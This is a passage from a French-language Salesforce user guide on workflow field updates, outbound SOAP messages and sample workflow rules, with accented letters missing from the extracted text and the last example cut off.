Avant de commencer utiliser les mises jour de champ, lisez les observations sur la mise jour des champs la page 744.
Pour commencer utiliser des mises jour de champ, cliquez sur Configuration Crer Workflow & approbations
Mises jour de champs.

Cliquez sur Nouvelle mise jour du champ pour dfinir une nouvelle mise jour de champ.
Slectionnez une mise jour de champ existante pour en afficher les dtails, ou pour afficher les rgles de workflow et les
processus d'approbation qui l'utilisent.
Cliquez sur Modifier pour apporter des modifications une mise jour de champ existante.
Cliquez sur Suppr pour supprimer une mise jour de champ.

Voir aussi :
Dfinition des mises jour de champ
Gestion du workflow et des approbations
Gestion des rgles de workflow

Crer

Guide de l'utilisateur | Gestion des mises jour de champ | 742

Dfinition des mises jour de champ

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir, modifier ou supprimer des mises jour de
champ :

Personnaliser l'application

Les mises jour de champ vous permettent de remplacer automatiquement la valeur d'un champ par une valeur de votre choix.
Les mises jour de champ sont des actions associes des rgles de workflow ou des processus d'approbation. Avant de
commencer, lisez les observations sur la mise jour des champs la page 744.
Remarque: Pour les objets standard, les rgles de workflow peuvent effectuer uniquement des mises jour de champ
sur l'objet associ la rgle. Deux exceptions permettent aux fonctions Commentaires sur la requte et E-mail d'effectuer
des mises jour de champ inter-objets sur des Requtes. Pour tous les objets personnaliss, vous pouvez toutefois crer
des actions de workflow qui dclenchent la mise jour d'un champ dans l'enregistrement principal associ lorsqu'un
enregistrement de dtail est modifi. Les mises jour de champs inter-objets fonctionnent uniquement pour les relations
principal-dtail. Par exemple, dans une application de recrutement personnalise, crez une rgle de workflow qui
dfinit le statut d'un application (l'objet principal) Ferm lorsqu'un candidat (l'objet dtail) accepte le poste. Vous
pouvez galement crer une rgle qui modifie le statut Attente de la rponse du client d'une requte en En cours
lorsqu'un client ajoute un commentaire de requte.
Pour dfinir des mises jour de champ :
1. Cliquez sur Configuration Crer Workflow & approbations Mises jour de champs.
2. Cliquez sur Nouvelle mise jour du champ.
3. Configurez la mise jour de champ.
a. Saisissez un nom pour la mise jour de ce champ.
b. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage dans les
installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet slectionn. Vous
pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme nom, condition qu'elles
soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre pour des opportunits. Le
champ Nom unique ne peut contenir que des traits de soulignement et des caractres alphanumriques. Il doit tre
unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un
trait de soulignement et ne doit pas contenir deux traits de soulignement conscutifs.
c. Saisissez une description pour la mise jour de ce champ.
d. Dfinissez la mise jour du champ, en incluant l'objet associ la rgle de workflow ou au processus d'approbation, le
champ mettre jour, et la valeur appliquer. Notez que le champ mettre jour peut se trouver dans un objet associ
dans une relation principal-dtails. Les champs sont affichs uniquement pour l'objet cible slectionn.
Conseil: Pour crer des rgles de worflow pour des commentaires de requte ou des messages e-mails qui
envoient automatiquement une mise jour des champs dans les requtes associes, slectionnez Commentaires
de requte ou Email dans la liste droulante Objet lors de la cration d'une nouvelle rgle de workflow et
slectionnez Requte dans le champ Champ mettre jour. E-mail vers requte ou E-mail vers requte
la demande doit tre activ pour que votre organisation puisse utiliser des E-mails dans une rgle de workflow.

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Guide de l'utilisateur | Gestion des mises jour de champ | 743

Lorsque les requtes sont mises jour par une rgle de workflow dclenche par un e-mail, cette requte mise
jour peut dclencher :

Des rgles de workflow

Des rgles de validation
Des mises jour des champs de rcapitulatif de cumul
Des rgles de hirarchisation
Dclencheurs Apex

La mise jour de la requte ne peut pas dclencher :

Des rgles d'attribution

Des rgles de rponse automatique

e. Cochez la case Composant protg pour marquer la mise jour du champ comme tant protge. Pour plus
d'informations, reportez-vous Composants protgs la page 845.
f. Spcifiez la nouvelle valeur de champ. Les options disponibles dpendent du type de champ que vous mettez jour.
Vous pouvez:

Slectionnez Une valeur spcifique et entrez la valeur dans l'espace prvu cet effet.
Slectionnez Une valeur vide (nulle) pour que Salesforce.com supprime toute valeur existante et laisse le
champ vide. Cette option n'est pas disponible pour les champs, cases cocher et certains autres types de champs
requis.
Pour les responsables d'enregistrement, slectionnez l'utilisateur auquel l'enregistrement doit tre attribu. Pour les
enregistrements de requte, de piste et d'objet personnalis, vous pouvez galement choisir une file d'attente pour
ce champ. Slectionnez ventuellement Notifier le bnficiaire pour envoyer un e-mail au nouveau
responsable de l'enregistrement.
Pour les cases cocher, choisissez Vrai pour slectionner la case et Faux pour la dslectionner.
Pour les listes de slection, slectionnez une valeur spcifique dans la liste droulante, ou celle situe au-dessus ou
au-dessous de la valeur actuelle selon le tri spcifi dans la dfinition de la liste de slection. Si vous triez les valeurs
par ordre alphabtique, les valeurs situes au-dessus ou au-dessous peuvent diffrer en fonction de la langue de
l'utilisateur.
Slectionnez Utiliser une formule pour dfinir la nouvelle valeur pour calculer la valeur en
fonction d'une expression, de champs de fusion ou d'autres valeurs.
a. Si vous laborez une formule dans l'onglet Formule avance pour des approbations ou des rgles, telles qu'un
workflow, une validation, une attribution, une rponse automatique ou une hirarchisation, cliquez sur Insrer
un champ, choisissez un champ, puis cliquez sur Insrer.
Pour crer une formule de base qui transmet des donnes Salesforce.com spcifiques, slectionnez l'onglet
Formule simple, choisissez le type de champ dans la liste droulante Slectionner un type de champ,
puis l'un des champs de la liste droulante Insrer un champ.
Conseil: Les formules inter-objets gnres s'tendent des objets associs et rfrencent des champs de
fusion dans ces objets.
b. Pour insrer des champs de fusion de requte dont l'e-mail met jour des champs de requtes associs, cliquez
sur Insrer un champ dans la section Critres de la rgle et slectionnez E-mail > Requte parent.
c. Pour insrer un oprateur, slectionnez l'icne d'oprateur approprie dans la liste droulante Insrer un
oprateur. Utilisez les exemples de la section Oprateurs et fonctions la page 475.

Crer

Guide de l'utilisateur | Gestion des mises jour de champ | 744

d. Vous pouvez galement insrer une fonction partir de la liste Fonctions. Ces fonctions sont des formules
dj intgres que vous pouvez ensuite personnaliser avec vos paramtres d'entre. Pour une description de
chaque oprateur/fonction, reportez-vous la section Oprateurs et fonctions la page 475.
g. Cliquez sur Enregistrer.

Voir aussi :
Gestion des mises jour de champ
Gestion du workflow et des approbations

Observations sur la mise jour des champs

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir, modifier ou supprimer des mises jour de
champ :

Personnaliser l'application

Avant de commencer crer des mises jour de champ pour vos rgles de workflow ou vos processus d'approbation, tenez
compte des recommandations suivantes :

Pour les objets standard, les rgles de workflow peuvent effectuer uniquement des mises jour de champ sur l'objet associ
la rgle. Deux exceptions permettent aux fonctions Commentaires sur la requte et E-mail d'effectuer des mises jour
de champ inter-objets sur des Requtes. Pour tous les objets personnaliss, vous pouvez toutefois crer des actions de
workflow qui dclenchent la mise jour d'un champ dans l'enregistrement principal associ lorsqu'un enregistrement de
dtail est modifi. Les mises jour de champs inter-objets fonctionnent uniquement pour les relations principal-dtail.
Par exemple, dans une application de recrutement personnalise, crez une rgle de workflow qui dfinit le statut d'un
application (l'objet principal) Ferm lorsqu'un candidat (l'objet dtail) accepte le poste. Vous pouvez galement crer
une rgle qui modifie le statut Attente de la rponse du client d'une requte en En cours lorsqu'un client ajoute un
commentaire de requte.
La fonction de mise jour de champs inter-objets peut ncessiter l'activation de certaines mises jour critiques. Cliquez
sur Configuration Mises jour critiques pour dterminer si votre organisation ncessite une mise jour.
Les actions de mise jour de champs dans les objets associs sont prises en charge uniquement pour l'utilisation avec les
rgles de workflow. Les processus d'approbation ne peuvent pas utiliser les actions de mise jour de champ inter-objets.
Les mises jour de champs peuvent affecter les informations d'une liste associe. Par exemple, si un champ tel que Montant
ou Date de clture d'une opportunit est dfini pour tre mis jour, il affecte la liste associe Historique des tapes
sur les opportunits.
Si un utilisateur rencontre une erreur de mise jour des champs lors d'un enregistrement, vous pouvez utiliser le journal
de dbogage pour voir quelle mise jour de champ a chou. Le journal de dbogage s'interrompt lorsqu'une dfaillance
se produit.
Les champs en lecture seule tels que les champs de formule ou de numrotation automatique ne sont pas disponibles pour
les mises jour.

Crer

Guide de l'utilisateur | Gestion des mises jour de champ | 745

Le champ de la liste de slection Langue des solutions multilingues ne peut pas tre mis jour.
Le fonctionnement des mises jour de champ est indpendant de la scurit au niveau des champs. Une rgle de workflow
peut donc mettre jour les champs mme s'ils sont masqus sur la prsentation de page de l'utilisateur.
Les rsultats de la mise jour des champs ne peuvent pas dclencher de rgles de workflow ou d'autres rgles telles que des
rgles de validation, d'attribution, de rponse automatique ou de hirarchie.
Le rsultat de la mise jour d'un champ est imprvisible lorsqu'une seule rgle de workflow comprend plusieurs mises
jour appliquant diffrentes valeurs au mme champ.
Les mises jour de champs surviennent aprs les rgles d'attribution des requtes ou des pistes, de rponse automatique
ou de hirarchisation des requtes.
Les rgles de workflow de messages d'e-mail ne peuvent tre associes qu' des mises jour de champ.
Les mises jour de champs surviennent avant les alertes par e-mail, les tches et les messages sortants.
Pour les champs de rappel au niveau des tches et des vnements :
-

Les mises jour de champ peuvent dfinir le rappel pour une tche ou un vnement, mais ils ne peuvent pas utiliser
la date d'chance d'une tche ou l'heure programme d'un vnement.
Les formules des valeurs de date/heure sont calcules en jours. Divisez la valeur par 1 440 (nombre de minutes dans
une journe) pour exprimer la valeur en minutes. Par exemple, la formule Now()-7 signifie il y a sept jours , alors
que Now()-7/1440 signifie il y a sept minutes .

Vous pouvez dfinir les mises jour de champs l'aide du champ Montant des opportunits, mais elles ne s'appliqueront
qu'aux opportunits ne possdant pas de produit. L'ajout de produits une opportunit transforme le champ Montant en
champ en lecture seule calcul automatiquement et non affect par cette mise jour.
Vous pouvez dfinir des mises jour pour le champ Status des contrats. Toutefois, la valeur de ce champ peut affecter
la valeur du champ Catgorie du statut galement.
Vous pouvez dfinir des mises jour pour le champ tape des opportunits, mais n'oubliez pas la faon dont ce champ
affecte les champs Probabilit et Catgorie prvisionnelle. Pour plus d'informations sur les relations existant
entre ces champs, reportez-vous Mise jour des tapes d'opportunit la page 389.
Vous pouvez mettre jour des champs de zone de texte longue, mais l'option d'insertion d'une valeur spcifique
vous autorise entrer 255 caractres maximum.
Certains champs, tels que Associ et Priv des activits, ne sont pas disponibles pour les mises jour.
Si votre entreprise utilise plusieurs devises, les champs de devise sont mis jour l'aide de la devise de l'enregistrement. Si
vous choisissez de mettre jour un champ en fonction d'une formule, les valeurs de votre formule sont interprtes dans
la devise de l'enregistrement.
Avant de changer le type d'un champ personnalis, assurez-vous qu'il ne doit pas faire l'objet d'une mise jour ou qu'il
n'est pas rfrenc dans une formule de mise jour de champ qui serait rendue non valable par le nouveau type.
Vous ne pouvez pas supprimer un champ personnalis rfrenc par une mise jour de champ.
Les mises jour de champs sont suivies dans la liste associe Historique si vous avez dfini le suivi d'historique des champs
en question.
Dans la mesure o les mises jour d'enregistrement bases sur des rgles de workflow ne dclenchent aucune rgle de
validation, les rgles de workflow peuvent rendre non valides des champs auparavant valides.
Si une mise jour de champ fait rfrence un utilisateur spcifique, vous ne pouvez pas dsactiver cet utilisateur. Par
exemple, si votre mise jour de champ est conue pour remplacer le responsable d'un compte par Batrice Dupont, modifiez
la mise jour de champ avant de dsactiver Batrice Dupont.
Un champ ne peut pas tre universellement requis s'il est utilis par une mise jour de champ qui dfinit ce champ sur une
valeur vide. Pour plus de dtails, reportez-vous propos des champs universellement requis la page 468.

Crer

Guide de l'utilisateur | Gestion des messages sortants | 746

vitez de crer pour les contrats ou les commandes une mise jour de champ qui attribue au champ Statut une valeur
autre que Approuve.

Voir aussi :
Dfinition des mises jour de champ
Gestion des mises jour de champ

Gestion des messages sortants

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher, dfinir, modifier ou supprimer des messages
sortants :

Personnaliser l'application

Actions de workflow et d'approbation qui envoient les informations que vous spcifiez vers le point de destination choisi, par
exemple un service externe. Un message sortant envoie les donnes dans les champs spcifis sous la forme d'un message SOAP
au point de destination.
Pour commencer utiliser des messages sortants, cliquez sur Configuration Crer Workflow & approbations
Messages sortants.

Cliquez sur Nouveau message sortant pour dfinir un nouveau message sortant.
Cliquez sur Afficher le statut de livraison du message pour effectuer le suivi du statut d'un message sortant. Reportez-vous
Suivi du statut de livraison des messages sortants la page 322.
Slectionnez un message sortant existant pour en afficher les dtails, ou pour afficher les rgles de workflow et les processus
d'approbation qui l'utilisent.
Cliquez sur Modifier pour apporter des modifications un message sortant existant.
Cliquez sur Suppr pour supprimer un message sortant.
Remarque: Si ces options n'apparaissent pas, votre entreprise n'a pas activ les messages sortants. Contactez
salesforce.com pour activer les messages sortants dans votre entreprise.

Lors de l'utilisation de messages sortants, notez les lments suivants :

Un seul message SOAP peut inclure jusqu' 100 notifications. Chaque notification contient un ID qui identifie de faon
unique un enregistrement et une rfrence aux donnes de l'enregistrement. Par consquent, si les informations de
l'enregistrement changent aprs l'envoi de la notification, mais avant qu'elle soit livre, seules les informations mises jour
seront livres.
Les messages sont mis en file d'attente jusqu' leur envoi afin de prserver leur fiabilit.
Si l'adresse n'est pas disponible, les messages restent dans la file d'attente jusqu' leur envoi ou pendant 24 heures. Aprs
24 heures, les messages sont supprims de la file d'attente.
Si un message ne peut pas tre livr, l'intervalle entre les tentatives augmente de faon exponentielle jusqu' un maximum
de deux heures entre chaque tentative.

Crer

Guide de l'utilisateur | Gestion des messages sortants | 747

Les tentatives d'envoi rptes des messages ne dpendent pas de leur ordre dans la file d'attente. Les messages peuvent
ainsi tre livrs dans le dsordre.
Vous ne pouvez pas crer un journal d'audit avec les messages sortants. Chaque message doit tre livr au moins une fois,
mais il peut tre livr plusieurs fois. De mme, il est possible qu'il ne soit pas livr du tout si la livraison ne peut pas s'effectuer
dans les 24 heures. Enfin, comme indiqu ci-dessus, l'objet source peut changer aprs l'envoi d'une notification mais avant
sa livraison, si bien que le point limite recevra uniquement les dernires donnes et non les changements intermdiaires.
Les champs personnaliss crypts ne sont pas disponibles dans les messages sortants.
Vous pouvez crer des rgles de workflow et des processus d'approbation sur des objects junction. Cependant, vous ne
pouvez pas crer de messages sortants sur des objets junction.

Voir aussi :
Dfinition des messages sortants
Suivi du statut de livraison des messages sortants
Gestion du workflow et des approbations
Gestion des rgles de workflow

Dfinition des messages sortants

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir, modifier ou supprimer des messages sortants :

Personnaliser l'application

Actions de workflow et d'approbation qui envoient les informations que vous spcifiez vers le point de destination choisi, par
exemple un service externe. Un message sortant envoie les donnes dans les champs spcifis sous la forme d'un message SOAP
au point de destination.
Lorsque vous associez un message sortant une rgle de workflow ou un processus d'approbation, ce message envoie les
informations slectionnes l'URL associe chaque fois que la rgle de workflow ou le processus d'approbation est dclench.
Lorsque l'URL de point limite reoit le message, elle peut extraire les informations du message et les traiter, si le service Web
a t configur de faon approprie.
Pour des raisons de scurit, Salesforce.com applique l'une des restrictions suivantes aux ports de sortie spcifis :

80: Ce port n'accepte que les connexions HTTP.

443: Ce port n'accepte que les connexions HTTP.
7000 10000 (inclus) : Ces ports acceptent les connexions HTTP ou HTTPS.
Remarque: Les messages sortants ne peuvent pas tre associs des rgles de workflow sur des objets junction
personnaliss.

Pour dfinir les messages sortants :

1. Cliquez sur Configuration Crer Workflow & approbations Messages sortants.

Crer

Guide de l'utilisateur | Gestion des messages sortants | 748

2. Cliquez sur Nouveau message sortant.

3. Choisissez l'objet comprenant les informations que vous souhaitez ajouter au message sortant, puis cliquez sur Suivant.
Conseil: Pour crer des rgles de workflow de sorte que les commentaires ajouts aux requtes envoient des
messages sortants lors du dclenchement d'une rgle, slectionnez Commentaire de requte dans la liste droulante
Objet en crant une rgle de workflow.
4. Configurez le message sortant.
a. Saisissez un nom pour ce message sortant.
b. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage dans les
installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet slectionn. Vous
pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme nom, condition qu'elles
soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre pour des opportunits. Le
champ Nom unique ne peut contenir que des traits de soulignement et des caractres alphanumriques. Il doit tre
unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un
trait de soulignement et ne doit pas contenir deux traits de soulignement conscutifs.
c. Saisissez une description pour ce message sortant.
d. Entrez une URL de point limite pour le destinataire du message. Salesforce.com envoie un message SOAP ce point
limite.
e. Slectionnez l'utilisateur Salesforce.com utiliser lors de l'envoi du message. L'utilisateur slectionn contrle la visibilit
des donnes pour le message envoy au point limite.
f. Cochez la case Composant protg pour marquer le message sortant comme tant protg. Pour plus d'informations,
reportez-vous Composants protgs la page 845.
g. Slectionnez Envoyer l'ID de session afin d'inclure l'ID de session Salesforce.com au message sortant. Incluez
l'ID de session dans votre message si vous avez l'intention d'effectuer des appels API et que vous ne souhaitez inclure
ni nom d'utilisateur ni mot de passe. L'envoi d'un nom d'utilisateur et d'un mot de passe est moins sr que l'envoi
d'un ID de session.
h. Slectionnez Ajouter les checs la liste associe des messages sortants chous si vous
souhaitez que ce message soit dplac dans la liste associe ses messages sortants chous l'issue de toutes les tentatives.
Si vous ne voyez pas cette option, cela signifie queles notifications de messages sortants chous n'ont pas t actives
pour votre entreprise. Contactez votre reprsentant salesforce.com.
i. Slectionnez les champs inclure dans le message sortant et cliquez sur Ajouter.
5. Cliquez sur Enregistrer.
6. Sur la page de dtails du message sortant, cliquez sur le lien Cliquez ici pour accder l'option WSDL pour afficher le
fichier WSDL associ ce message.
Le fichier WSDL est li au message sortant et contient des instructions sur la faon d'atteindre le service et sur les donnes
qui lui sont envoyes.
7. Si le point de destination utilise un certificat client, cliquez avec le bouton droit de la souris sur le lien Tlcharger le
certificat client de la page de dtails du message sortant et enregistrez le certificat l'emplacement appropri. Vous pouvez
ensuite importer le certificat tlcharg dans le serveur d'applications et le configurer pour demander le certificat client.
8. Pour activer des messages sortants, associez-les une rgle de workflow ou un processus d'approbation.

Crer

Guide de l'utilisateur | Gestion des messages sortants | 749

Remarque: Si ces options n'apparaissent pas, votre entreprise n'a pas activ les messages sortants. Contactez
salesforce.com pour activer les messages sortants dans votre entreprise.

Voir aussi :
Suivi du statut de livraison des messages sortants
Gestion des messages sortants
Gestion du workflow et des approbations

Slection d'actions existantes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour slectionner des actions existantes :

Personnaliser l'application

Les actions de workflow cres pour une rgle de workflow ou un processus d'approbation peuvent tre associes d'autres
rgles de workflow et processus d'approbation.
Pour associer les actions de workflow existantes une rgle de workflow :
Cliquez sur Configuration Crer Workflow & approbations Rgles de workflow.
Slectionnez la rgle de workflow.
Cliquez sur Modifier dans la section Actions de workflow.
Cliquez sur Ajouter une action de workflow dans la section Actions de workflow immdiates ou Actions de workflow
chronologiques, en fonction du moment o vous voulez que l'action se produise et choisissez Slectionner une action
existante. Reportez-vous Configuration des actions de workflow la page 728.
5. Slectionnez le type d'action que vous voulez associer la rgle de workflow. La zone Actions disponibles rpertorie toutes
les actions existantes du type slectionn.
6. Si vous le souhaitez, saisissez le nom d'une action spcifique dans le champ texte et cliquez sur Rechercher.
7. Slectionnez les actions dans la zone Actions disponibles et cliquez sur la flche de droite pour les dplacer vers la zone
Actions slectionnes.
1.
2.
3.
4.

Si ncessaire, cliquez sur la flche de gauche pour dplacer des actions de la zone Actions slectionnes vers la zone Actions
disponibles.
8. Lorsque vous avez termin, cliquez sur Enregistrer.
Pour associer des actions de workflow existantes un processus d'approbation :
1. Cliquez sur Configuration Crer Workflow & approbations Processus d'approbation.
2. Cliquez sur le nom d'un processus d'approbation existant.
3. Selon le moment o l'action doit se produire, effectuez l'une des oprations suivantes :

Cliquez sur Ajouter une action existante dans la section Actions de soumission initiale, Actions d'approbation finale,
Actions de refus final ou Actions de rappel.

Crer

Guide de l'utilisateur | Gestion des messages sortants | 750

Cliquez sur Afficher les actions dans la section tapes d'approbation, puis sur Ajouter une action existante dans la
section Actions d'approbation, Actions de refus ou Actions de rappel.

Reportez-vous Choix des actions d'approbation la page 814.

4. Slectionnez le type d'action que vous voulez associer au processus d'approbation. La zone Actions disponibles rpertorie
toutes les actions existantes du type slectionn.
5. Si vous le souhaitez, saisissez le nom d'une action spcifique dans le champ texte et cliquez sur Rechercher.
6. Dans la zone Actions disponibles, slectionnez les actions associer au processus d'approbation et cliquez sur la flche de
droite pour les dplacer vers la zone Actions slectionnes.
Si ncessaire, dans la zone Actions slectionnes, choisissez les actions ne pas associer au processus d'approbation et
cliquez sur la flche de gauche pour les dplacer vers la zone Actions disponibles.
7. Lorsque vous avez termin, cliquez sur Enregistrer.

Voir aussi :
Gestion des rgles de workflow
Cration de rgles de workflow
Gestion des actions de workflow

Exemples de rgles de workflow

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des rgles, des alertes par e-mail, des
Personnaliser l'application
tches, des mises jour de champ et des messages sortants de
workflow :

Utilisez les exemples de rgle de workflow ci-dessous pour apprendre comment mettre en uvre des objectifs professionnels
courants.
Processus commerciaux
Suivi en cas de clture d'une requte de contrat Platinum
Vrification du crdit du nouveau client
Visibilit du responsable de compte Platinum sur les requtes de priorit leve
Processus inter-objets
Requtes prsentes pour les meilleurs comptes
Dfinition du nom d'opportunit par dfaut
Dfinition de la date de rsolution cible pour les requtes
Mise jour de l'enregistrement de l'application lorsqu'un candicat accepte un poste

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Guide de l'utilisateur | Gestion des messages sortants | 751

Gestion des contrats

Suivi des opportunits cltures
Date de clture de l'opportunit par dfaut
Rapport sur les opportunits perdues
Gestion des pistes non attribues
Notifications
Modification du responsable de compte
Rappel de l'anniversaire d'un contact
Opportunit de qualit
Notifiez aux responsables de comptes les mises jour effectues par d'autres utilisateurs

Processus commerciaux
Suivi en cas de clture d'une requte de contrat Platinum
Cet exemple suppose qu'il existe une liste de slection personnalise Type de contrat utilise pour identifier le niveau de
contrat sur les requtes et que la liste de slection contient la valeur Platinum.
Objet
Requte
Description
Envoyez une demande de commentaires par e-mail au contact de requte sept jours aprs la clture d'une requte de
priorit leve si le client dispose d'un accord de contrat Platinum.
Critres d'valuation
Lors de la cration ou de la modification d'un enregistrement qui ne rpondait pas aux critres de la rgle.
Critres de la rgle (filtre)
Excutez cette rgle si les critres suivants sont remplis :
(Requte : Priorit est gal leve) et (Requte : Close est gal Vrai) et (Requte :
Type de contrat est gal Platinum)

Actions immdiates
Aucun.
Actions chronologiques
7 jours aprs la requte : Date/Heure de clture
Alerte par e-mail : Envoyez une demande de commentaires au contact de requte.
Vrification du crdit du nouveau client
Cet exemple suppose qu'il existe un champ personnalis Nouveau client dans les opportunits.

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Guide de l'utilisateur | Gestion des messages sortants | 752

Objet
Opportunit
Description
Attribuez au service Compte client la tche de vrification du crdit d'un client potentiel 15 jours avant la date de clture
de l'opportunit si le montant est suprieur 50 000 dollars.
Critres d'valuation
Lors de la cration ou de la modification d'un enregistrement qui ne rpondait pas aux critres de la rgle.
Critres de la rgle (filtre)
Excutez cette rgle si les critres suivants sont remplis :
(Opportunit : montant suprieur 50000) et (Opportunit : Close est gal Faux) et
(Opportunit : Nouveau client est gal Vrai)

Actions immdiates
Aucun.
Actions chronologiques
15 jours avant Opportunit : Date de clture
Tche : Crez une tche pour les utilisateurs dans le rle Compte client pour excuter une vrification du crdit.
Visibilit du responsable de compte Platinum sur les requtes de priorit leve
Cet exemple suppose qu'il existe une liste de slection personnalise Accords de niveau de service (SLA) qui identifie le niveau
d'accord sur les comptes et contient la valeur Platinum.
Objet
Requte
Description
Avertissez le responsable de compte qu'une requte de priorit leve est cre pour les comptes prsentant un accord
de niveau de service Platinum.
Critres d'valuation
Uniquement lors de la cration d'un enregistrement.
Critres de la rgle (filtre)
Excutez cette rgle si les critres suivants sont remplis :
(Requte : Priorit est gal leve) et (Compte : SLA est gal Platinum)

Actions immdiates
Alerte par e-mail : Envoyez par e-mail les dtails de la requte de priorit leve au responsable de compte.

Actions chronologiques
Aucun.

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Guide de l'utilisateur | Gestion des messages sortants | 753

Processus inter-objets
Requtes prsentes pour les meilleurs comptes
Utilisez la rgle de workflow suivante si votre vice-prsident des ventes souhaite tre inform des ventuelles requtes prsentes
pour les meilleurs comptes, ces derniers tant dtermins par leur taille et les bnfices gnrs.
Objet
Requte
Description
Informez le vice-prsident des ventes des ventuelles requtes prsentes pour les meilleurs comptes.
Critres d'valuation
Uniquement lors de la cration d'un enregistrement.
Critres de la rgle (formule)
Excutez cette rgle si la formule suivante donne comme rsultat true (vrai) :
AND(Account.AnnualRevenue > 500000, Account.NumberOfEmployees > 5000)

Actions immdiates
Alerte par e-mail : Informez le vice-prsident propos des requtes relatives aux comptes importants.

Actions chronologiques
Aucune.
Dfinition du nom d'opportunit par dfaut
La convention de dnomination des opportunits pour certaines entreprises est Nom du compte : Nom d'opportunit.
Pour automatiser le nom par dfaut de chaque opportunit dans votre entreprise, crez la rgle de workflow ci-dessous.
Objet
Opportunit
Description
Appliquez la convention de dnomination des opportunits.
Critres d'valuation
chaque cration ou modification d'un enregistrement
Critres de la rgle (formule)
Excutez cette rgle si la formule suivante donne comme rsultat true (vrai) :
NOT(CONTAINS( Name, Account.Name ))

Actions immdiates
Mise jour des champs : Dfinissez le nom de l'opportunit selon la formule suivante :
Nom du compte & ": " & Nom

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Guide de l'utilisateur | Gestion des messages sortants | 754

Actions chronologiques
Aucune.
Dfinition de la date de rsolution cible pour les requtes
Cet exemple illustre la configuration automatique d'une date de rsolution de la requte en fonction de la valeur d'un champ
sur le compte associ. Elle utilise un champ de liste de slection personnalis appel Niveau de support, lequel comprend
trois valeurs : De base, Standard et Premium, ainsi qu'un champ de date personnalis pour les requtes nomm Date
de rsolution cible.
Utilisez les trois exemples de workflow suivants pour dfinir automatiquement la date de rsolution cible d'une requte en
fonction du niveau de support pour le compte associ.
Dfinir la date de rsolution pour le support de base
Objet
Requte
Description
Dfinit la date de rsolution cible pour les comptes qui disposent d'un niveau de rsolution de base sur 30 jours compter
d'aujourd'hui.
Critres d'valuation
Uniquement lors de la cration d'un enregistrement
Critres de la rgle (formule)
Excutez cette rgle si la formule suivante donne comme rsultat true (vrai) :
ISPICKVAL(Account.Support_Level__c , "Basic")

Actions immdiates
Mise jour des champs : Dfinissez la date de rsolution cible sur Aujourd'hui() + 30

Actions chronologiques
Aucune.
Dfinir la date de rsolution pour le support standard
Objet
Requte
Description
Dfinit la date de rsolution cible pour les comptes qui disposent d'un niveau de rsolution standard sur 14 jours compter
d'aujourd'hui.
Critres d'valuation
Uniquement lors de la cration d'un enregistrement
Critres de la rgle (formule)
Excutez cette rgle si la formule suivante donne comme rsultat true (vrai) :
ISPICKVAL(Account.Support_Level__c , "Standard")

Crer

Guide de l'utilisateur | Gestion des messages sortants | 755

Actions immdiates
Mise jour des champs : Dfinissez la date de rsolution cible sur Aujourd'hui() + 14

Actions chronologiques
Aucune.
Dfinir la date de rsolution pour le support Premium
Objet
Requte
Description
Dfinit la date de rsolution cible pour les comptes qui disposent d'un niveau de rsolution premium sur 5 jours compter
d'aujourd'hui.
Critres d'valuation
Uniquement lors de la cration d'un enregistrement
Critres de la rgle (formule)
Excutez cette rgle si la formule suivante donne comme rsultat true (vrai) :
ISPICKVAL(Account.Support_Level__c , "Premium")

Actions immdiates
Mise jour des champs : Dfinissez la date de rsolution cible sur Aujourd'hui() + 5

Actions chronologiques
Aucune.
Mise jour de l'enregistrement de l'application lorsqu'un candicat accepte un poste
Pour fermer l'enregistrement de l'application lorsqu'un candidat accepte un poste, utilisez la rgle de workflow suivante. Les
mises jour de champs inter-objets dans l'enregistrement principal sont pris en charge entre les objets personnaliss dans une
relation matre-dtail.
Objet
Candidat
Description
Modifie le statut de l'application en Cltur pour l'objet personnalis Application lorsque le Statut du candidat de
l'objet personnalis Candidat devient Accept.
Critres d'valuation
Lors de la cration ou de la modification d'un enregistrement qui ne rpondait pas aux critres de la rgle.
Critres de la rgle (formule)
Excutez cette rgle si les critres suivants sont remplis :
(Candidat : Statut gal Accept)

Crer

Guide de l'utilisateur | Gestion des messages sortants | 756

Actions immdiates
Mise jour du champ : Modifie le champ Statut de l'application en Cltur dans l'enregistrement parent de

l'Application.
Actions chronologiques
Aucun.

Gestion des contrats

Suivi des opportunits cltures
Cet exemple suppose qu'il existe un type d'enregistrement Opportunits closes qui fournit des informations supplmentaires
sur certains profils.
Remarque: Pour plus d'informations sur les types d'enregistrement, reportez-vous Gestion des types d'enregistrement
la page 539.
Objet
Opportunit
Description
Modifiez le type d'enregistrement des opportunits closes-gagnes.
Critres d'valuation
chaque cration ou modification d'un enregistrement.
Critres de la rgle (filtre)
Excutez cette rgle si les critres suivants sont remplis :
(Opportunit : Close est gal Vrai et (Opportunit : tape est gal Close gagne)

Actions immdiates
Mise jour du champ : Dfinissez le type d'enregistrement sur Opportunits closes.

Actions chronologiques
Aucun.
Date de clture de l'opportunit par dfaut
Objet
Opportunit
Description
Une fois l'opportunit cre, redfinissez la date de clture par dfaut et remplacez la valeur fin du trimestre par la
valeur six mois .
Critres d'valuation
Uniquement lors de la cration d'un enregistrement.

Crer

Guide de l'utilisateur | Gestion des messages sortants | 757

Critres de la rgle (filtre)

Excutez cette rgle si les critres suivants sont remplis :
(Opportunit : Close est gal Faux)

Actions immdiates
Mise jour du champ : Utilisez la formule suivante pour dfinir la date de clture de l'opportunit sur une valeur

gale six mois partir de la date de cration :

